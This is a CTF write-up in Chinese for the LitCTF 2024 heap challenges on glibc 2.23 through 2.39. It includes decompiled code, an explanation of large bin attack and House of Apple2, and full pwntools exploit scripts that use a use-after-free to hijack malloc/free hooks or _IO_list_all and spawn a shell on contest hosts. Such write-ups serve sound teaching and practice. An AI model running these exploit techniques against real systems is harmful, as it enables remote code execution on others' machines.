litctf2024_pwn
pwn
heap-2.23
程序逻辑
void __fastcall __noreturn main(__int64 a1, char **a2, char **a3)
{
int v3; // [rsp+4h] [rbp-Ch] BYREF
unsigned __int64 v4; // [rsp+8h] [rbp-8h]
v4 = __readfsqword(0x28u);
sub_400866(a1, a2, a3);
v3 = 0;
while ( 1 )
{
init_0();
__isoc99_scanf("%d", &v3);
switch ( v3 )
{
case 1:
add();
break;
case 2:
delete();
break;
case 3:
show();
break;
case 4:
edit();
break;
case 5:
free_all();
default:
puts("error!");
break;
}
}
}
__int64 add()
{
__int64 result; // rax
int v1; // ebx
unsigned int v2; // [rsp+0h] [rbp-20h] BYREF
int v3; // [rsp+4h] [rbp-1Ch] BYREF
unsigned __int64 v4; // [rsp+8h] [rbp-18h]
v4 = __readfsqword(0x28u);
v2 = 0;
v3 = 0;
printf("idx? ");
__isoc99_scanf("%d", &v2);
if ( v2 > 0xF || *(&ptr + (int)v2) )
{
puts("error !");
return 0LL;
}
else
{
printf("size? ");
__isoc99_scanf("%d", &v3);
v1 = v2;
*(&ptr + v1) = malloc(v3);
if ( !*(&ptr + (int)v2) )
{
puts("malloc error!");
exit(1);
}
result = (int)v2;
*((_DWORD *)&nbytes + (int)v2) = v3;
}
return result;
}
void delete()
{
unsigned int v0; // [rsp+4h] [rbp-Ch] BYREF
unsigned __int64 v1; // [rsp+8h] [rbp-8h]
v1 = __readfsqword(0x28u);
v0 = 0;
printf("idx? ");
__isoc99_scanf("%d", &v0);
if ( v0 <= 0xF && *(&ptr + (int)v0) )
free(*(&ptr + (int)v0));
else
puts("no such chunk!");
}
int show()
{
unsigned int v1; // [rsp+4h] [rbp-Ch] BYREF
unsigned __int64 v2; // [rsp+8h] [rbp-8h]
v2 = __readfsqword(0x28u);
v1 = 0;
printf("idx? ");
__isoc99_scanf("%d", &v1);
if ( v1 <= 0xF && *(&ptr + (int)v1) )
return printf("content : %s\n", (const char *)*(&ptr + (int)v1));
puts("no such chunk!");
return 0;
}
ssize_t edit()
{
unsigned int v1; // [rsp+4h] [rbp-Ch] BYREF
unsigned __int64 v2; // [rsp+8h] [rbp-8h]
v2 = __readfsqword(0x28u);
v1 = 0;
printf("idx? ");
__isoc99_scanf("%d", &v1);
if ( v1 <= 0xF && *(&ptr + (int)v1) )
{
puts("content : ");
return read(0, *(&ptr + (int)v1), *((unsigned int *)&nbytes + (int)v1));
}
else
{
puts("no such chunk!");
return 0LL;
}
}
ssize_t edit()
{
unsigned int v1; // [rsp+4h] [rbp-Ch] BYREF
unsigned __int64 v2; // [rsp+8h] [rbp-8h]
v2 = __readfsqword(0x28u);
v1 = 0;
printf("idx? ");
__isoc99_scanf("%d", &v1);
if ( v1 <= 0xF && *(&ptr + (int)v1) )
{
puts("content : ");
return read(0, *(&ptr + (int)v1), *((unsigned int *)&nbytes + (int)v1));
}
else
{
puts("no such chunk!");
return 0LL;
}
}
void __noreturn free_all()
{
int i; // [rsp+Ch] [rbp-4h]
for ( i = 0; i <= 15; ++i )
{
if ( !*(&ptr + i) )
{
free(*(&ptr + i));
*(&ptr + i) = 0LL;
*((_DWORD *)&nbytes + i) = 0;
}
}
exit(0);
}
存在 uaf,通过申请unsortedbin 去泄露libc基地址后,fastbin attack,通过错位字节绕过size检查的宏,写malloc hook为one gadget 触发 one gadget拿shell
exp
from pwn import *
# from LibcSearcher import *
import itertools
import ctypes
context(os='linux', arch='amd64', log_level='debug')
is_debug = 0
IP = "node2.anna.nssctf.cn"
PORT = 28922
elf = context.binary = ELF('./heap')
libc = elf.libc
def connect():
return remote(IP, PORT) if not is_debug else process()
g = lambda x: gdb.attach(x)
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
r = lambda x=None: p.recv() if x is None else p.recv(x)
rl = lambda: p.recvline()
ru = lambda x: p.recvuntil(x)
r_leak_libc_64 = lambda: u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
r_leak_libc_32 = lambda: u32(p.recvuntil(b'\xf7')[-4:])
p = connect()
def add(idx,size):
sla(">>",str(1))
sla("idx?",str(idx))
sla("size?",str(size))
def show(idx):
sla(">>",str(3))
sla("idx?",str(idx))
def delete(idx):
sla(">>",str(2))
sla("idx?",str(idx))
def edit(idx,content):
sla(">>",str(4))
sla("idx?",str(idx))
sa("content :",content)
add(0,0x98)
add(1,0x98)
delete(0)
show(0)
ru("content : ")
leak = u64(r(6).ljust(8,b'\x00'))
libc_base = leak - (0x74afcefc4b78 - 0x74afcec00000)
success(f"libc_base ->{hex(libc_base)}")
# 0x45226 execve("/bin/sh", rsp+0x30, environ)
# constraints:
# rax == NULL
# 0x4527a execve("/bin/sh", rsp+0x30, environ)
# constraints:
# [rsp+0x30] == NULL
# 0xf03a4 execve("/bin/sh", rsp+0x50, environ)
# constraints:
# [rsp+0x50] == NULL
# 0xf1247 execve("/bin/sh", rsp+0x70, environ)
# constraints:
# [rsp+0x70] == NULL
malloc_hook = libc_base + libc.sym['__malloc_hook']
one_gadget = libc_base + 0xf1247
add(2,0x68)
add(3,0x68)
add(4,0x68)
delete(2)
delete(3)
edit(2,p64(malloc_hook - 0x23))
add(5,0x68)
add(6,0x68)
add(7,0x68)
success(hex(malloc_hook))
success(hex(malloc_hook - 0x23))
success(hex(one_gadget))
edit(7,b"a" * 0x13 + p64(one_gadget))
add(9,0x20)
# g(p)
p.interactive()
heap-2.27
逻辑与漏洞和2.23相同,2.27中加入了tcache 可以使用tcache poison去实现任意地址写的原语写free hook去getshell
exp:
from pwn import *
# from LibcSearcher import *
import itertools
import ctypes
context(os='linux', arch='amd64', log_level='debug')
is_debug = 1
IP = "47.100.139.115"
PORT = 30708
elf = context.binary = ELF('./heap')
libc = elf.libc
def connect():
return remote(IP, PORT) if not is_debug else process()
g = lambda x: gdb.attach(x)
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
r = lambda x=None: p.recv() if x is None else p.recv(x)
rl = lambda: p.recvline()
ru = lambda x: p.recvuntil(x)
r_leak_libc_64 = lambda: u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
r_leak_libc_32 = lambda: u32(p.recvuntil(b'\xf7')[-4:])
p = connect()
def add(idx,size):
sla(">>",str(1))
sla("idx?",str(idx))
sla("size?",str(size))
def show(idx):
sla(">>",str(3))
sla("idx?",str(idx))
def delete(idx):
sla(">>",str(2))
sla("idx?",str(idx))
def edit(idx,content):
sla(">>",str(4))
sla("idx?",str(idx))
sa("content :",content)
for i in range(9):
add(i,0x80)
for i in range(8):
delete(i)
show(7)
ru("content : ")
leak = u64(r(6).ljust(8,b'\x00'))
libc_base = leak - (0x7461d0bebca0 - 0x7461d0800000)
success(hex(libc_base))
free_hook = libc_base + libc.sym['__free_hook']
system = libc_base + libc.sym['system']
edit(5,p64(free_hook))
add(9,0x80)
add(10,0x80)
add(11,0x80)
edit(10,b'/bin/sh\x00')
edit(11,p64(system))
delete(10)
p.interactive()
heap-2.31
glibc 2.31 程序逻辑和漏洞 与 glibc 2.23相同,加入tcache后,fastbin attack 关于chunk_size的检查的宏就移除了,同时也可以通过tcache poison实现任意地址写,写free hook为system,之后free一个内容为binsh的堆触发free hook执行 system binsh
exp
from pwn import *
# from LibcSearcher import *
import itertools
import ctypes
context(os='linux', arch='amd64', log_level='debug')
is_debug = 0
IP = "node3.anna.nssctf.cn"
PORT = 28653
elf = context.binary = ELF('./heap')
libc = elf.libc
def connect():
return remote(IP, PORT) if not is_debug else process()
g = lambda x: gdb.attach(x)
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
r = lambda x=None: p.recv() if x is None else p.recv(x)
rl = lambda: p.recvline()
ru = lambda x: p.recvuntil(x)
r_leak_libc_64 = lambda: u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
r_leak_libc_32 = lambda: u32(p.recvuntil(b'\xf7')[-4:])
p = connect()
def add(idx,size):
sla(">>",str(1))
sla("idx?",str(idx))
sla("size?",str(size))
def show(idx):
sla(">>",str(3))
sla("idx?",str(idx))
def delete(idx):
sla(">>",str(2))
sla("idx?",str(idx))
def edit(idx,content):
sla(">>",str(4))
sla("idx?",str(idx))
sa("content :",content)
for i in range(9):
add(i,0x88)
for i in range(8):
delete(i)
show(7)
ru("content : ")
leak = u64(r(6).ljust(8,b'\x00'))
libc_base = leak - (0x7229e071cbe0 - 0x7229e0530000)
success(hex(libc_base))
free_hook = libc_base + libc.sym['__free_hook']
system = libc_base + libc.sym['system']
edit(5,p64(free_hook))
add(10,0x88)
add(11,0x88)
add(12,0x88)
edit(12,p64(system))
edit(11,b'/bin/sh\x00')
delete(11)
# g(p)
p.interactive()
heap-2.35
iofile house of apple2或者是 environ泄露栈地址栈上写rop
heap-2.39
2.39 程序的逻辑和前面几个题目的逻辑不太一样,能申请的堆块最小为0x40f ,最大为 0x1000
int __cdecl main(int argc, const char **argv, const char **envp)
{
int v4; // [rsp+4h] [rbp-Ch] BYREF
unsigned __int64 v5; // [rsp+8h] [rbp-8h]
v5 = __readfsqword(0x28u);
init(argc, argv, envp);
v4 = 0;
while ( 1 )
{
menu();
__isoc99_scanf("%d", &v4);
switch ( v4 )
{
case 1:
create();
break;
case 2:
delete();
break;
case 3:
show();
break;
case 4:
edit();
break;
case 5:
Exit();
default:
puts("error!");
break;
}
}
}
__int64 create()
{
__int64 result; // rax
int v1; // ebx
unsigned int v2; // [rsp+0h] [rbp-20h] BYREF
int v3; // [rsp+4h] [rbp-1Ch] BYREF
unsigned __int64 v4; // [rsp+8h] [rbp-18h]
v4 = __readfsqword(0x28u);
v2 = 0;
v3 = 0;
printf("idx? ");
__isoc99_scanf("%d", &v2);
if ( v2 > 0xF || ptr[v2] || (printf("size? "), __isoc99_scanf("%d", &v3), v3 <= 1039) || v3 > 4096 )
{
puts("error !");
return 0LL;
}
else
{
v1 = v2;
ptr[v1] = malloc(v3);
if ( !ptr[v2] )
{
puts("malloc error!");
exit(1);
}
result = (unsigned int)v3;
ptr_size[v2] = v3;
}
return result;
}
void delete()
{
unsigned int v0; // [rsp+4h] [rbp-Ch] BYREF
unsigned __int64 v1; // [rsp+8h] [rbp-8h]
v1 = __readfsqword(0x28u);
v0 = 0;
printf("idx? ");
__isoc99_scanf("%d", &v0);
if ( v0 <= 0xF && ptr[v0] )
free((void *)ptr[v0]);
else
puts("no such chunk!");
}
int show()
{
unsigned int v1; // [rsp+4h] [rbp-Ch] BYREF
unsigned __int64 v2; // [rsp+8h] [rbp-8h]
v2 = __readfsqword(0x28u);
v1 = 0;
printf("idx? ");
__isoc99_scanf("%d", &v1);
if ( v1 <= 0xF && ptr[v1] )
return printf("content : %s\n", (const char *)ptr[v1]);
puts("no such chunk!");
return 0;
}
ssize_t edit()
{
unsigned int v1; // [rsp+4h] [rbp-Ch] BYREF
unsigned __int64 v2; // [rsp+8h] [rbp-8h]
v2 = __readfsqword(0x28u);
v1 = 0;
printf("idx? ");
__isoc99_scanf("%d", &v1);
if ( v1 <= 0xF && ptr[v1] )
{
puts("content : ");
return read(0, (void *)ptr[v1], (unsigned int)ptr_size[v1]);
}
else
{
puts("no such chunk!");
return 0LL;
}
}
void __noreturn Exit()
{
int i; // [rsp+Ch] [rbp-4h]
for ( i = 0; i <= 15; ++i )
{
if ( !ptr[i] )
{
free((void *)ptr[i]);
ptr[i] = 0LL;
ptr_size[i] = 0;
}
}
exit(0);
}
https://www.freebuf.com/articles/system/232676.html
很明显是large bin attack,large bins是一组双向链表,每个bin是一个独立的双链表,其中fd_nextsize指向比当前bin size小的最大bin,bk_nextsize指向比当前bin size大的最小bin,large bin 用分段存储的方式存储每个bin,其中在同一个范围内相邻的bin都是等差的,每个范围就是一个等差数列
index | size范围 |
---|---|
64 | [0x400,0x440) 相差0x40 |
65 | [0x440,0x480)相差0x40 |
…… | ……相差0x40 |
96 | [0xc00,0xc40)相差0x40 |
97 | [0xc40,0xe00)相差0x1c0 |
98 | [0xe00,0x1000)相差0x200 |
chunk相关的结构体
/*
This struct declaration is misleading (but accurate and necessary).
It declares a "view" into memory allowing access to necessary
fields at known offsets from a given base. See explanation below.
*/
struct malloc_chunk {
INTERNAL_SIZE_T prev_size; /* Size of previous chunk (if free). */
INTERNAL_SIZE_T size; /* Size in bytes, including overhead. */
struct malloc_chunk* fd; /* double links -- used only if free. */
struct malloc_chunk* bk;
/* Only used for large blocks: pointer to next larger size. */
struct malloc_chunk* fd_nextsize; /* double links -- used only if free. */
struct malloc_chunk* bk_nextsize;
};
large bin attack 主要是在victim插入large bin的时候进行利用,victim在ptmalloc2中是指刚刚free掉还没有插入链表这种状态的堆块
victim_index = largebin_index (size);
bck = bin_at (av, victim_index); //这个是main_arena的地址
fwd = bck->fd;//这是最大size的链首
/* maintain large bins in sorted order */
if (fwd != bck)
{
/* Or with inuse bit to speed comparisons */
size |= PREV_INUSE;
/* if smaller than smallest, bypass loop below */
assert (chunk_main_arena (bck->bk));
if ((unsigned long) (size) //bck->bk是最小size的链首
< (unsigned long) chunksize_nomask (bck->bk)) //如果当前申请的size小于最小szie
{
fwd = bck;
bck = bck->bk;
victim->fd_nextsize = fwd->fd;
victim->bk_nextsize = fwd->fd->bk_nextsize;
fwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize = victim;//这里不好整
}
else //如果当前申请的size不是最小的
{
assert (chunk_main_arena (fwd));
while ((unsigned long) size < chunksize_nomask (fwd)) //从最大块开始寻找一个小于szie的链
{
fwd = fwd->fd_nextsize;
assert (chunk_main_arena (fwd));
}
if ((unsigned long) size
== (unsigned long) chunksize_nomask (fwd)) // 如果找到的链和申请的size相同
/* Always insert in the second position. */
fwd = fwd->fd;
else//如果不同,则说明应该插在这个链前面
{
victim->fd_nextsize = fwd;//小的链在victim上
victim->bk_nextsize = fwd->bk_nextsize;//这里如果可以控制
fwd->bk_nextsize = victim;
victim->bk_nextsize->fd_nextsize = victim;//这里能写一个victim
}
bck = fwd->bk;
}
}
else
victim->fd_nextsize = victim->bk_nextsize = victim;
}
mark_bin (av, victim_index);
victim->bk = bck;
victim->fd = fwd;
fwd->bk = victim;
bck->fd = victim;//最后这里,还可以有一次写,如果fwd->bk可控
关键位置是在这里,可以有uaf的情况下,可以实现往任意地址写一个堆地址
else//如果不同,则说明应该插在这个链前面
{
victim->fd_nextsize = fwd;//小的链在victim上
victim->bk_nextsize = fwd->bk_nextsize;//这里如果可以控制
fwd->bk_nextsize = victim;
victim->bk_nextsize->fd_nextsize = victim;//这里能写一个victim
}
具体的利用方法是申请 一大一小index相同属于large bin范围的堆块,先释放掉大堆块,然后再释放小堆块,将小堆块的bk_nextsize和fd_nextsize 修改成 target - 0x20的地址,之后再申请一个大于这两个堆块的内存,就可以实现往targe写一个堆地址的攻击。
有了任意地址写一个堆地址的原语还不够,还需要配合iofile相关的攻击和fsop的思想伪造iofile的虚表实现call任意地址,fsop的思想是从main返回或者主动call exit的时候会遍历_IO_list_all中的每一个iofile结构体,如果满足条件就会调用结构体中的vtable _overflow函数,利用large bin attack往io list all中写一个堆地址,然后在堆上伪造ioflie结构体和虚假的vtable,overflow中写上one gadget去提权,但是在高版本glibc中,有对vtable地址范围检测的代码
house of apple2 中 IO_wfile_overflow这条调用链是 将vtable覆盖成 io_wfile_jumps,同时保证io_write_ptr大于 io_write_base 就会调用 _wide_data->vtable- > overflow函数
其中 flag还可以控制rdi,但是flag是四个字节的,所以要控制的地方有这几个,io_write_ptr > io_write_base,vtable == io_wfile_jumps,wide_data = 伪造的wide_data 上面有vtable,vtable中有one gadget或者是system的值
io_list_all结构体 stderr
pwndbg> p *_IO_list_all
$1 = {
file = {
_flags = 6845216,
_IO_read_ptr = 0x0,
_IO_read_end = 0x0,
_IO_read_base = 0x0,
_IO_write_base = 0x0,
_IO_write_ptr = 0x1 <error: Cannot access memory at address 0x1>,
_IO_write_end = 0x0,
_IO_buf_base = 0x0,
_IO_buf_end = 0x0,
_IO_save_base = 0x0,
_IO_backup_base = 0x0,
_IO_save_end = 0x0,
_markers = 0x0,
_chain = 0x0,
_fileno = 0,
_flags2 = 0,
_old_offset = -1,
_cur_column = 0,
_vtable_offset = 0 '\000',
_shortbuf = "",
_lock = 0x0,
_offset = -1,
_codecvt = 0x0,
_wide_data = 0x5ea7be6d14f0,
_freeres_list = 0x0,
_freeres_buf = 0x0,
__pad5 = 0,
_mode = 0,
_unused2 = '\000' <repeats 19 times>
},
vtable = 0x75ef43e170c0 <_IO_wfile_jumps>
}
exp
from pwn import *
# from LibcSearcher import *
import itertools
import ctypes
from SomeofHouse import HouseOfSome
context(os='linux', arch='amd64', log_level='debug')
is_debug = 1
IP = "node3.anna.nssctf.cn"
PORT = 28653
elf = context.binary = ELF('./heap')
libc = elf.libc
def connect():
return remote(IP, PORT) if not is_debug else process()
g = lambda x: gdb.attach(x)
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
r = lambda x=None: p.recv() if x is None else p.recv(x)
rl = lambda: p.recvline()
ru = lambda x: p.recvuntil(x)
r_leak_libc_64 = lambda: u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
r_leak_libc_32 = lambda: u32(p.recvuntil(b'\xf7')[-4:])
p = connect()
# 0x410 - 0x1000
def add(idx,size):
sla(">>",str(1))
sla("idx?",str(idx))
sla("size?",str(size))
def show(idx):
sla(">>",str(3))
sla("idx?",str(idx))
def delete(idx):
sla(">>",str(2))
sla("idx?",str(idx))
def edit(idx,content):
sla(">>",str(4))
sla("idx?",str(idx))
sa("content :",content)
add(0,0x508)
add(1,0x508)
delete(0)
add(2,0x510)
show(0)
ru("content : ")
leak = u64(r(6).ljust(8,b'\x00'))
libc_base = leak - (0x745562403f50 - 0x745562200000)
success(hex(libc_base))
edit(0,b"a" * 0x10)
show(0)
ru("a" * 0x10)
heap_base = (u64(r(6).ljust(8,b'\x00')) >> 12) << 12
success(hex(heap_base))
edit(0,p64(leak) * 2)
add(3,0x508)
add(5,0x600) #chunk1
add(6,0x508)
add(7,0x5f0) #chunk2
add(8,0x500)
delete(5)
add(9,0x900)
delete(7)
show(5)
ru("content : ")
fd = u64(r(6).ljust(8,b'\x00'))
target = libc_base + libc.sym["_IO_list_all"]
edit(5,p64(fd)*2 + p64(target - 0x20)*2)
add(10,0x900)
system = libc_base + libc.sym['system']
binsh = libc_base + next(libc.search(b'/bin/sh\x00'))
io_wfile_jumps = libc_base + libc.sym['_IO_wfile_jumps']
fake_io_addr0 = heap_base + 0x17f0 # 6
fake_io_addr1 = heap_base + 0x1cf0 # 7
edit(6, b'A' * 0x500 + p32(0xfffff7f5) + b';sh\x00')
# _IO_wfile_overflow
fake_io_file = p64(0)*2 + p64(1) + p64(2)
fake_io_file = fake_io_file.ljust(0xa0 - 0x10, b'\0') + p64(fake_io_addr1 + 0x100) # _wide_data
fake_io_file = fake_io_file.ljust(0xc0 - 0x10, b'\0') + p64(0xffffffffffffffff) # _mode
fake_io_file = fake_io_file.ljust(0xd8 - 0x10, b'\0') + p64(io_wfile_jumps) # vtable
# 伪造 _wide_data vtable
fake_io_file = fake_io_file.ljust(0x100 - 0x10 + 0xe0, b'\0') + p64(fake_io_addr1 + 0x200)
fake_io_file = fake_io_file.ljust(0x200 - 0x10, b'\0') + p64(0)*13 + p64(system)
edit(7, fake_io_file)
# g(p)
sla(">>",str(5))
p.interactive()